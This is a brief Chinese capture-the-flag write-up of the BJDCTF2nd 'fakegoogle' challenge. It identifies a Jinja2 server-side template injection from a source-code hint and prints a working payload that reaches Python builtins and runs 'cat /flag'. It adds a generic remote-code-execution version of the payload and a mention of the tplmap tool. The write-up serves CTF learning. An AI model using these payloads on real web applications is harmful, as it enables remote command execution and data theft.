BJDCTF2nd-fakegoogle

时间:2022-07-23
本文章向大家介绍BJDCTF2nd-fakegoogle，主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项，具有一定的参考价值，需要的朋友可以参考一下。

题目地址:buuctf

输入一个值之后返回

查看源文件后发现提示

<!--ssssssti & a little trick -->

ssti注入，利用的是jinjia2的模板引擎

payload

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()") }}{% endif %}{% endfor %}
```

RCE Payload

```
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('').read()") }}{% endif %}{% endfor %}

推荐文章https://bbs.ichunqiu.com/thread-47685-1-1.html

当然这一题也能用tplmap一把梭

随机文章
本站知识点必读
最近更新